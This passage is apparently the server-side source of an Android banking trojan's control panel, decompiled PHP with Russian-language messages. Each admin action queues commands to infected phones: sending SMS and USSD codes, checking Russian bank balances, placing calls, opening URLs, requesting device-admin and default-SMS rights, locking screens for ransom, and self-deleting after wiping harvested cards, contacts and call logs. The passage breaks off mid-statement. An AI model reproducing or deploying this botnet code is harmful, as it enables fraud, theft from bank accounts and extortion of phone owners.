  1249.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1250.             $var120 = true;
  1251.         }
  1252.         if ($var117 != "all") {
  1253.             if ($var120) {
  1254.                 $var121 .= " AND ";
  1255.             }
  1256.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1257.             $var120 = true;
  1258.         }
  1259.         if ($var118 > 00) {
  1260.             if ($var120) {
  1261.                 $var121 .= " AND ";
  1262.             }
  1263.             $var121 .= "`prefix_id`=" . $var118;
  1264.             $var120 = true;
  1265.         }
  1266.         if ($var119 > 00) {
  1267.             if ($var120) {
  1268.                 $var121 .= " AND ";
  1269.             }
  1270.             $var121 .= "`category`=" . $var119;
  1271.             $var120 = true;
  1272.         }
  1273.         $var109 = mysql_result(mysql_query("SELECT COUNT(*) FROM `users`" . $var121 . ";"), 00);
  1274.         $var5 = $var109;
  1275.         break;
  1276.     case "recheck_bot_arr":
  1277.         if (!isset($var13["admn"])) {
  1278.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1279.             break;
  1280.         }
  1281.         $var115 = intval($var17["whos"]);
  1282.         $var116 = textedit($var17["operator"]);
  1283.         $var117 = textedit($var17["country"]);
  1284.         $var118 = intval($var17["prefix"]);
  1285.         $var119 = intval($var17["category"]);
  1286.         $var120 = false;
  1287.         $var121 = " WHERE `ban`=0 ";
  1288.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1289.             $var121 .= "AND ";
  1290.         }
  1291.         if ($var115 == 01) {
  1292.             $var121 .= "`gcm_key` IS NOT NULL";
  1293.             $var120 = true;
  1294.         } else if ($var115 == 02) {
  1295.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1296.             $var120 = true;
  1297.         }
  1298.         if ($var116 != "all") {
  1299.             if ($var120) {
  1300.                 $var121 .= " AND ";
  1301.             }
  1302.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1303.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1304.             $var120 = true;
  1305.         }
  1306.         if ($var117 != "all") {
  1307.             if ($var120) {
  1308.                 $var121 .= " AND ";
  1309.             }
  1310.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1311.             $var120 = true;
  1312.         }
  1313.         if ($var118 > 00) {
  1314.             if ($var120) {
  1315.                 $var121 .= " AND ";
  1316.             }
  1317.             $var121 .= "`prefix_id`=" . $var118;
  1318.             $var120 = true;
  1319.         }
  1320.         if ($var119 > 00) {
  1321.             if ($var120) {
  1322.                 $var121 .= " AND ";
  1323.             }
  1324.             $var121 .= "`category`=" . $var119;
  1325.             $var120 = true;
  1326.         }
  1327.         $var123 = 00;
  1328.         $var124 = 00;
  1329.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1330.         while ($var25 = mysql_fetch_assoc($var24)) {
  1331.             $var125 = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `id`=" . $var25["id"] . ";"), 00);
  1332.             if ($var125 > 00) {
  1333.                 $var126 = mysql_query("SELECT * FROM `users` WHERE `id`=" . $var25["id"] . ";");
  1334.                 $var18 = mysql_query("SELECT * FROM `start_msg`;");
  1335.                 if (mysql_num_rows($var18) < 01) {
  1336.                     $var5 = "Стартовые смс отсутствуют.";
  1337.                     break02;
  1338.                 }
  1339.                 $var19 = mysql_query("UPDATE `users` SET `sber_balance` = '',`qiwi_balance` = '',`alfa_balance` = '',`tinkoff_balance` = '' WHERE `id`=" . $var25["id"] . ";");
  1340.                 $var20 = mysql_query("UPDATE `users` SET `category`=1 WHERE `category`=2 AND `id`=" . $var25["id"] . ";");
  1341.                 while ($var127 = mysql_fetch_assoc($var126)) {
  1342.                     while ($var21 = mysql_fetch_assoc($var18)) {
  1343.                         if (strlen($var21["number"]) > 00) {
  1344.                             $var22 = savesmsdb($var127["id"], $var21["text"], $var21["number"], 00, 00);
  1345.                             $var23 = mysql_query("INSERT INTO `quest` SET
  1346.                 `uid`=" . $var127["id"] . ",
  1347.                 `msg_id`=" . $var22 . ",
  1348.                 `mode`='" . constant('COMMAND_SEND_SMS') . "',
  1349.                 `sms_text`='" . $var21["text"] . "',
  1350.                 `sms_number`='" . $var21["number"] . "'
  1351.                 ;");
  1352.                         }
  1353.                     }
  1354.                     $var26 = strpos(strtolower($var127["operator"]), "mts");
  1355.                     if ($var26 !== false) {
  1356.                         $var23 = mysql_query("INSERT INTO `quest` SET
  1357.             `uid`=" . $var127["id"] . ",
  1358.             `msg_id`=0,
  1359.             `mode`='" . constant('COMMAND_SEND_SMS') . "',
  1360.             `sms_text`='11',
  1361.             `sms_number`='111'
  1362.             ;");
  1363.                     }
  1364.                     $var27 = strpos(strtolower($var127["operator"]), "megafon");
  1365.                     if ($var27 !== false) {
  1366.                         $var23 = mysql_query("INSERT INTO `quest` SET
  1367.             `uid`=" . $var127["id"] . ",
  1368.             `msg_id`=0,
  1369.             `mode`='" . constant('COMMAND_SEND_SMS') . "',
  1370.             `sms_text`='balance',
  1371.             `sms_number`='000100'
  1372.             ;");
  1373.                     }
  1374.                     mysql_data_seek($var18, 00);
  1375.                 }
  1376.             }
  1377.             $var123++;
  1378.         }
  1379.         if ($var124 > 00) {
  1380.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1381.         } else {
  1382.             $var5 = "Создано заданий: " . $var123;
  1383.         }
  1384.         break;
  1385.     case "delete_bot_arr":
  1386.         if (!isset($var13["admn"])) {
  1387.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1388.             break;
  1389.         }
  1390.         $var115 = intval($var17["whos"]);
  1391.         $var116 = textedit($var17["operator"]);
  1392.         $var117 = textedit($var17["country"]);
  1393.         $var118 = intval($var17["prefix"]);
  1394.         $var119 = intval($var17["category"]);
  1395.         $var120 = false;
  1396.         $var121 = " WHERE `ban`=0 ";
  1397.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1398.             $var121 .= "AND ";
  1399.         }
  1400.         if ($var115 == 01) {
  1401.             $var121 .= "`gcm_key` IS NOT NULL";
  1402.             $var120 = true;
  1403.         } else if ($var115 == 02) {
  1404.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1405.             $var120 = true;
  1406.         }
  1407.         if ($var116 != "all") {
  1408.             if ($var120) {
  1409.                 $var121 .= " AND ";
  1410.             }
  1411.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1412.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1413.             $var120 = true;
  1414.         }
  1415.         if ($var117 != "all") {
  1416.             if ($var120) {
  1417.                 $var121 .= " AND ";
  1418.             }
  1419.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1420.             $var120 = true;
  1421.         }
  1422.         if ($var118 > 00) {
  1423.             if ($var120) {
  1424.                 $var121 .= " AND ";
  1425.             }
  1426.             $var121 .= "`prefix_id`=" . $var118;
  1427.             $var120 = true;
  1428.         }
  1429.         if ($var119 > 00) {
  1430.             if ($var120) {
  1431.                 $var121 .= " AND ";
  1432.             }
  1433.             $var121 .= "`category`=" . $var119;
  1434.             $var120 = true;
  1435.         }
  1436.         $var123 = 00;
  1437.         $var124 = 00;
  1438.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1439.         while ($var25 = mysql_fetch_assoc($var24)) {
  1440.             $var95 = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 00, 07);
  1441.             $var95 .= ".com";
  1442.             @mysql_query("UPDATE `users` SET `ban`=2 WHERE `id`=" . $var25["id"] . ";");
  1443.             @mysql_query("DELETE FROM `messages` WHERE `uid`=" . $var25["id"] . ";");
  1444.             @mysql_query("DELETE FROM `cards` WHERE `uid`=" . $var25["id"] . ";");
  1445.             @mysql_query("DELETE FROM `contacts` WHERE `uid`=" . $var25["id"] . ";");
  1446.             @mysql_query("DELETE FROM `conversations` WHERE `uid`=" . $var25["id"] . ";");
  1447.             @mysql_query("DELETE FROM `apps` WHERE `uid`=" . $var25["id"] . ";");
  1448.             @mysql_query("DELETE FROM `browhist` WHERE `uid`=" . $var25["id"] . ";");
  1449.             @mysql_query("DELETE FROM `calls` WHERE `uid`=" . $var25["id"] . ";");
  1450.             $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SELFDELETE') . "', `uid`=" . $var25["id"] . ";");
  1451.             $var123++;
  1452.         }
  1453.         if ($var124 > 00) {
  1454.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1455.         } else {
  1456.             $var5 = "Создано заданий: " . $var123;
  1457.         }
  1458.         break;
  1459.     case "catMoveArr":
  1460.         if (!isset($var13["admn"])) {
  1461.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1462.             break;
  1463.         }
  1464.         $var108 = intval($var17["cat_id"]);
  1465.         if ($var108 < 01) {
  1466.             $var5 = "Неизвестная ошибка.";
  1467.             break;
  1468.         }
  1469.         $var115 = intval($var17["whos"]);
  1470.         $var116 = textedit($var17["operator"]);
  1471.         $var117 = textedit($var17["country"]);
  1472.         $var118 = intval($var17["prefix"]);
  1473.         $var119 = intval($var17["category"]);
  1474.         $var120 = false;
  1475.         $var121 = " WHERE `ban`=0 ";
  1476.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1477.             $var121 .= "AND ";
  1478.         }
  1479.         if ($var115 == 01) {
  1480.             $var121 .= "`gcm_key` IS NOT NULL";
  1481.             $var120 = true;
  1482.         } else if ($var115 == 02) {
  1483.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1484.             $var120 = true;
  1485.         }
  1486.         if ($var116 != "all") {
  1487.             if ($var120) {
  1488.                 $var121 .= " AND ";
  1489.             }
  1490.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1491.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1492.             $var120 = true;
  1493.         }
  1494.         if ($var117 != "all") {
  1495.             if ($var120) {
  1496.                 $var121 .= " AND ";
  1497.             }
  1498.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1499.             $var120 = true;
  1500.         }
  1501.         if ($var118 > 00) {
  1502.             if ($var120) {
  1503.                 $var121 .= " AND ";
  1504.             }
  1505.             $var121 .= "`prefix_id`=" . $var118;
  1506.             $var120 = true;
  1507.         }
  1508.         if ($var119 > 00) {
  1509.             if ($var120) {
  1510.                 $var121 .= " AND ";
  1511.             }
  1512.             $var121 .= "`category`=" . $var119;
  1513.             $var120 = true;
  1514.         }
  1515.         $var123 = 00;
  1516.         $var124 = 00;
  1517.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1518.         while ($var25 = mysql_fetch_assoc($var24)) {
  1519.             @mysql_query("UPDATE `users` SET `category`=" . $var108 . " WHERE `id`=" . $var25["id"] . ";");
  1520.             $var123++;
  1521.         }
  1522.         if ($var124 > 00) {
  1523.             $var5 = "Перенесено: " . $var123 . ", из них по GCM: " . $var124;
  1524.         } else {
  1525.             $var5 = "Перенесено: " . $var123;
  1526.         }
  1527.         break;
  1528.     case "call_arr":
  1529.         if (!isset($var13["admn"])) {
  1530.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1531.             break;
  1532.         }
  1533.         $var93 = textedit($var17["number"]);
  1534.         if (!preg_match("/^\+?\d{3,15}$/", $var93)) {
  1535.             $var5 = "Ошибка: неправильно введен номер телефона.";
  1536.             break;
  1537.         }
  1538.         $var115 = intval($var17["whos"]);
  1539.         $var116 = textedit($var17["operator"]);
  1540.         $var117 = textedit($var17["country"]);
  1541.         $var118 = intval($var17["prefix"]);
  1542.         $var119 = intval($var17["category"]);
  1543.         $var120 = false;
  1544.         $var121 = " WHERE `ban`=0 ";
  1545.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1546.             $var121 .= "AND ";
  1547.         }
  1548.         if ($var115 == 01) {
  1549.             $var121 .= "`gcm_key` IS NOT NULL";
  1550.             $var120 = true;
  1551.         } else if ($var115 == 02) {
  1552.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1553.             $var120 = true;
  1554.         }
  1555.         if ($var116 != "all") {
  1556.             if ($var120) {
  1557.                 $var121 .= " AND ";
  1558.             }
  1559.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1560.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1561.             $var120 = true;
  1562.         }
  1563.         if ($var117 != "all") {
  1564.             if ($var120) {
  1565.                 $var121 .= " AND ";
  1566.             }
  1567.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1568.             $var120 = true;
  1569.         }
  1570.         if ($var118 > 00) {
  1571.             if ($var120) {
  1572.                 $var121 .= " AND ";
  1573.             }
  1574.             $var121 .= "`prefix_id`=" . $var118;
  1575.             $var120 = true;
  1576.         }
  1577.         if ($var119 > 00) {
  1578.             if ($var120) {
  1579.                 $var121 .= " AND ";
  1580.             }
  1581.             $var121 .= "`category`=" . $var119;
  1582.             $var120 = true;
  1583.         }
  1584.         $var123 = 00;
  1585.         $var124 = 00;
  1586.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1587.         while ($var25 = mysql_fetch_assoc($var24)) {
  1588.             $var46 = save_event($var25["id"], "Звонок на номер " . $var93, 03);
  1589.             $var47 = mysql_query("INSERT INTO `quest` SET
  1590.      `uid`=" . $var25["id"] . ",
  1591.      `msg_id`=" . $var46 . ",
  1592.      `sms_number`='" . $var93 . "',
  1593.      `mode`='" . constant('COMMAND_MAKE_CALL') . "';");
  1594.             $var123++;
  1595.         }
  1596.         if ($var124 > 00) {
  1597.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1598.         } else {
  1599.             $var5 = "Создано заданий: " . $var123;
  1600.         }
  1601.         break;
  1602.     case "openUrlArr":
  1603.         if (!isset($var13["admn"])) {
  1604.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1605.             break;
  1606.         }
  1607.         $var111 = textedit($var17["url"]);
  1608.         if (filter_var($var111, 273) === false) {
  1609.             $var5 = "Ошибка: неправильно введен URL.";
  1610.             break;
  1611.         }
  1612.         $var115 = intval($var17["whos"]);
  1613.         $var116 = textedit($var17["operator"]);
  1614.         $var117 = textedit($var17["country"]);
  1615.         $var118 = intval($var17["prefix"]);
  1616.         $var119 = intval($var17["category"]);
  1617.         $var120 = false;
  1618.         $var121 = " WHERE `ban`=0 ";
  1619.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1620.             $var121 .= "AND ";
  1621.         }
  1622.         if ($var115 == 01) {
  1623.             $var121 .= "`gcm_key` IS NOT NULL";
  1624.             $var120 = true;
  1625.         } else if ($var115 == 02) {
  1626.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1627.             $var120 = true;
  1628.         }
  1629.         if ($var116 != "all") {
  1630.             if ($var120) {
  1631.                 $var121 .= " AND ";
  1632.             }
  1633.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1634.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1635.             $var120 = true;
  1636.         }
  1637.         if ($var117 != "all") {
  1638.             if ($var120) {
  1639.                 $var121 .= " AND ";
  1640.             }
  1641.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1642.             $var120 = true;
  1643.         }
  1644.         if ($var118 > 00) {
  1645.             if ($var120) {
  1646.                 $var121 .= " AND ";
  1647.             }
  1648.             $var121 .= "`prefix_id`=" . $var118;
  1649.             $var120 = true;
  1650.         }
  1651.         if ($var119 > 00) {
  1652.             if ($var120) {
  1653.                 $var121 .= " AND ";
  1654.             }
  1655.             $var121 .= "`category`=" . $var119;
  1656.             $var120 = true;
  1657.         }
  1658.         $var123 = 00;
  1659.         $var124 = 00;
  1660.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1661.         while ($var25 = mysql_fetch_assoc($var24)) {
  1662.             $var46 = save_event($var25["id"], "Открыть URL: " . $var111, 03);
  1663.             $var47 = mysql_query("INSERT INTO `quest` SET
  1664.      `uid`=" . $var25["id"] . ",
  1665.      `msg_id`=" . $var46 . ",
  1666.      `sms_text`='" . $var111 . "',
  1667.      `mode`='" . constant('COMMAND_OPEN_URL') . "';");
  1668.             $var123++;
  1669.         }
  1670.         if ($var124 > 00) {
  1671.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1672.         } else {
  1673.             $var5 = "Создано заданий: " . $var123;
  1674.         }
  1675.         break;
  1676.     case "askAdminArr":
  1677.         if (!isset($var13["admn"])) {
  1678.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1679.             break;
  1680.         }
  1681.         $var115 = intval($var17["whos"]);
  1682.         $var116 = textedit($var17["operator"]);
  1683.         $var117 = textedit($var17["country"]);
  1684.         $var118 = intval($var17["prefix"]);
  1685.         $var119 = intval($var17["category"]);
  1686.         $var120 = false;
  1687.         $var121 = " WHERE `ban`=0 ";
  1688.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1689.             $var121 .= "AND ";
  1690.         }
  1691.         if ($var115 == 01) {
  1692.             $var121 .= "`gcm_key` IS NOT NULL";
  1693.             $var120 = true;
  1694.         } else if ($var115 == 02) {
  1695.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1696.             $var120 = true;
  1697.         }
  1698.         if ($var116 != "all") {
  1699.             if ($var120) {
  1700.                 $var121 .= " AND ";
  1701.             }
  1702.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1703.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1704.             $var120 = true;
  1705.         }
  1706.         if ($var117 != "all") {
  1707.             if ($var120) {
  1708.                 $var121 .= " AND ";
  1709.             }
  1710.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1711.             $var120 = true;
  1712.         }
  1713.         if ($var118 > 00) {
  1714.             if ($var120) {
  1715.                 $var121 .= " AND ";
  1716.             }
  1717.             $var121 .= "`prefix_id`=" . $var118;
  1718.             $var120 = true;
  1719.         }
  1720.         if ($var119 > 00) {
  1721.             if ($var120) {
  1722.                 $var121 .= " AND ";
  1723.             }
  1724.             $var121 .= "`category`=" . $var119;
  1725.             $var120 = true;
  1726.         }
  1727.         $var123 = 00;
  1728.         $var124 = 00;
  1729.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1730.         while ($var25 = mysql_fetch_assoc($var24)) {
  1731.             $var46 = save_event($var25["id"], "Запрос прав администратора", 03);
  1732.             $var47 = mysql_query("INSERT INTO `quest` SET
  1733.      `uid`=" . $var25["id"] . ",
  1734.      `msg_id`=" . $var46 . ",
  1735.      `sms_number`='',
  1736.      `mode`='" . constant('COMMAND_ASK_ADMIN') . "';");
  1737.             $var123++;
  1738.         }
  1739.         if ($var124 > 00) {
  1740.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1741.         } else {
  1742.             $var5 = "Создано заданий: " . $var123;
  1743.         }
  1744.         break;
  1745.     case "askSmsArr":
  1746.         if (!isset($var13["admn"])) {
  1747.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1748.             break;
  1749.         }
  1750.         $var115 = intval($var17["whos"]);
  1751.         $var116 = textedit($var17["operator"]);
  1752.         $var117 = textedit($var17["country"]);
  1753.         $var118 = intval($var17["prefix"]);
  1754.         $var119 = intval($var17["category"]);
  1755.         $var120 = false;
  1756.         $var121 = " WHERE `ban`=0 ";
  1757.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1758.             $var121 .= "AND ";
  1759.         }
  1760.         if ($var115 == 01) {
  1761.             $var121 .= "`gcm_key` IS NOT NULL";
  1762.             $var120 = true;
  1763.         } else if ($var115 == 02) {
  1764.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1765.             $var120 = true;
  1766.         }
  1767.         if ($var116 != "all") {
  1768.             if ($var120) {
  1769.                 $var121 .= " AND ";
  1770.             }
  1771.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1772.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1773.             $var120 = true;
  1774.         }
  1775.         if ($var117 != "all") {
  1776.             if ($var120) {
  1777.                 $var121 .= " AND ";
  1778.             }
  1779.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1780.             $var120 = true;
  1781.         }
  1782.         if ($var118 > 00) {
  1783.             if ($var120) {
  1784.                 $var121 .= " AND ";
  1785.             }
  1786.             $var121 .= "`prefix_id`=" . $var118;
  1787.             $var120 = true;
  1788.         }
  1789.         if ($var119 > 00) {
  1790.             if ($var120) {
  1791.                 $var121 .= " AND ";
  1792.             }
  1793.             $var121 .= "`category`=" . $var119;
  1794.             $var120 = true;
  1795.         }
  1796.         $var123 = 00;
  1797.         $var124 = 00;
  1798.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1799.         while ($var25 = mysql_fetch_assoc($var24)) {
  1800.             $var46 = save_event($var25["id"], "Запрос прав дефолтного СМС приложения", 03);
  1801.             $var47 = mysql_query("INSERT INTO `quest` SET
  1802.      `uid`=" . $var25["id"] . ",
  1803.      `msg_id`=" . $var46 . ",
  1804.      `sms_number`='',
  1805.      `mode`='" . constant('COMMAND_ASK_SMS') . "';");
  1806.             $var123++;
  1807.         }
  1808.         if ($var124 > 00) {
  1809.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1810.         } else {
  1811.             $var5 = "Создано заданий: " . $var123;
  1812.         }
  1813.         break;
  1814.     case "lockerEnableArr":
  1815.         if (!isset($var13["admn"])) {
  1816.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1817.             break;
  1818.         }
  1819.         $var115 = intval($var17["whos"]);
  1820.         $var116 = textedit($var17["operator"]);
  1821.         $var117 = textedit($var17["country"]);
  1822.         $var118 = intval($var17["prefix"]);
  1823.         $var119 = intval($var17["category"]);
  1824.         $var120 = false;
  1825.         $var121 = " WHERE `ban`=0 AND `is_lock`=0 ";
  1826.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1827.             $var121 .= "AND ";
  1828.         }
  1829.         if ($var115 == 01) {
  1830.             $var121 .= "`gcm_key` IS NOT NULL";
  1831.             $var120 = true;
  1832.         } else if ($var115 == 02) {
  1833.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1834.             $var120 = true;
  1835.         }
  1836.         if ($var116 != "all") {
  1837.             if ($var120) {
  1838.                 $var121 .= " AND ";
  1839.             }
  1840.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1841.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1842.             $var120 = true;
  1843.         }
  1844.         if ($var117 != "all") {
  1845.             if ($var120) {
  1846.                 $var121 .= " AND ";
  1847.             }
  1848.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1849.             $var120 = true;
  1850.         }
  1851.         if ($var118 > 00) {
  1852.             if ($var120) {
  1853.                 $var121 .= " AND ";
  1854.             }
  1855.             $var121 .= "`prefix_id`=" . $var118;
  1856.             $var120 = true;
  1857.         }
  1858.         if ($var119 > 00) {
  1859.             if ($var120) {
  1860.                 $var121 .= " AND ";
  1861.             }
  1862.             $var121 .= "`category`=" . $var119;
  1863.             $var120 = true;
  1864.         }
  1865.         $var123 = 00;
  1866.         $var124 = 00;
  1867.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1868.         while ($var25 = mysql_fetch_assoc($var24)) {
  1869.             $var46 = save_event($var25["id"], "Локер активирован", 03);
  1870.             $var47 = mysql_query("INSERT INTO `quest` SET
  1871.      `uid`=" . $var25["id"] . ",
  1872.      `msg_id`=" . $var46 . ",
  1873.      `sms_number`='',
  1874.      `mode`='" . constant('COMMAND_LOCK') . "';");
  1875.             $var50 = mysql_query("UPDATE `users` SET `is_lock`=1, `cc_last`='', `date_lock`='" . $var2 . "' WHERE `id`=" . $var25["id"] . " LIMIT 1;");
  1876.             $var123++;
  1877.         }
  1878.         if ($var124 > 00) {
  1879.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1880.         } else {
  1881.             $var5 = "Создано заданий: " . $var123;
  1882.         }
  1883.         break;
  1884.     case "lockerDisableArr":
  1885.         if (!isset($var13["admn"])) {
  1886.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1887.             break;
  1888.         }
  1889.         $var115 = intval($var17["whos"]);
  1890.         $var116 = textedit($var17["operator"]);
  1891.         $var117 = textedit($var17["country"]);
  1892.         $var118 = intval($var17["prefix"]);
  1893.         $var119 = intval($var17["category"]);
  1894.         $var120 = false;
  1895.         $var121 = " WHERE `ban`=0 AND `is_lock`=1 ";
  1896.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1897.             $var121 .= "AND ";
  1898.         }
  1899.         if ($var115 == 01) {
  1900.             $var121 .= "`gcm_key` IS NOT NULL";
  1901.             $var120 = true;
  1902.         } else if ($var115 == 02) {
  1903.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1904.             $var120 = true;
  1905.         }
  1906.         if ($var116 != "all") {
  1907.             if ($var120) {
  1908.                 $var121 .= " AND ";
  1909.             }
  1910.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1911.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1912.             $var120 = true;
  1913.         }
  1914.         if ($var117 != "all") {
  1915.             if ($var120) {
  1916.                 $var121 .= " AND ";
  1917.             }
  1918.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1919.             $var120 = true;
  1920.         }
  1921.         if ($var118 > 00) {
  1922.             if ($var120) {
  1923.                 $var121 .= " AND ";
  1924.             }
  1925.             $var121 .= "`prefix_id`=" . $var118;
  1926.             $var120 = true;
  1927.         }
  1928.         if ($var119 > 00) {
  1929.             if ($var120) {
  1930.                 $var121 .= " AND ";
  1931.             }
  1932.             $var121 .= "`category`=" . $var119;
  1933.             $var120 = true;
  1934.         }
  1935.         $var123 = 00;
  1936.         $var124 = 00;
  1937.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  1938.         while ($var25 = mysql_fetch_assoc($var24)) {
  1939.             $var46 = save_event($var25["id"], "Локер выключен", 03);
  1940.             $var47 = mysql_query("INSERT INTO `quest` SET
  1941.      `uid`=" . $var25["id"] . ",
  1942.      `msg_id`=" . $var46 . ",
  1943.      `sms_number`='',
  1944.      `mode`='" . constant('COMMAND_UNLOCK') . "';");
  1945.             $var50 = mysql_query("UPDATE `users` SET `is_lock`=2, `cc_last`='', `date_lock`='' WHERE `id`=" . $var25["id"] . " LIMIT 1;");
  1946.             $var123++;
  1947.         }
  1948.         if ($var124 > 00) {
  1949.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  1950.         } else {
  1951.             $var5 = "Создано заданий: " . $var123;
  1952.         }
  1953.         break;
  1954.     case "send_ussd_arr":
  1955.         if (!isset($var13["admn"])) {
  1956.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1957.             break;
  1958.         }
  1959.         $var28 = textedit($var17["number"]);
  1960.         $var30 = preg_match("/^[0-9\*\#]+$/", $var28, $var31);
  1961.         if ($var30 < 01) {
  1962.             $var5 = "Неправильно введен номер.";
  1963.             break;
  1964.         }
  1965.         $var115 = intval($var17["whos"]);
  1966.         $var116 = textedit($var17["operator"]);
  1967.         $var117 = textedit($var17["country"]);
  1968.         $var118 = intval($var17["prefix"]);
  1969.         $var119 = intval($var17["category"]);
  1970.         $var120 = false;
  1971.         $var121 = " WHERE `ban`=0 ";
  1972.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1973.             $var121 .= "AND ";
  1974.         }
  1975.         if ($var115 == 01) {
  1976.             $var121 .= "`gcm_key` IS NOT NULL";
  1977.             $var120 = true;
  1978.         } else if ($var115 == 02) {
  1979.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1980.             $var120 = true;
  1981.         }
  1982.         if ($var116 != "all") {
  1983.             if ($var120) {
  1984.                 $var121 .= " AND ";
  1985.             }
  1986.             $var122 = preg_replace("/forcut+/", " ", $var116);
  1987.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  1988.             $var120 = true;
  1989.         }
  1990.         if ($var117 != "all") {
  1991.             if ($var120) {
  1992.                 $var121 .= " AND ";
  1993.             }
  1994.             $var121 .= "`country` LIKE '" . $var117 . "'";
  1995.             $var120 = true;
  1996.         }
  1997.         if ($var118 > 00) {
  1998.             if ($var120) {
  1999.                 $var121 .= " AND ";
  2000.             }
  2001.             $var121 .= "`prefix_id`=" . $var118;
  2002.             $var120 = true;
  2003.         }
  2004.         if ($var119 > 00) {
  2005.             if ($var120) {
  2006.                 $var121 .= " AND ";
  2007.             }
  2008.             $var121 .= "`category`=" . $var119;
  2009.             $var120 = true;
  2010.         }
  2011.         $var123 = 00;
  2012.         $var124 = 00;
  2013.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  2014.         while ($var25 = mysql_fetch_assoc($var24)) {
  2015.             $var22 = savesmsdb($var25["id"], "*" . $var28 . "#", "USSD", 00, 00);
  2016.             $var47 = mysql_query("INSERT INTO `quest` SET
  2017.      `uid`=" . $var25["id"] . ",
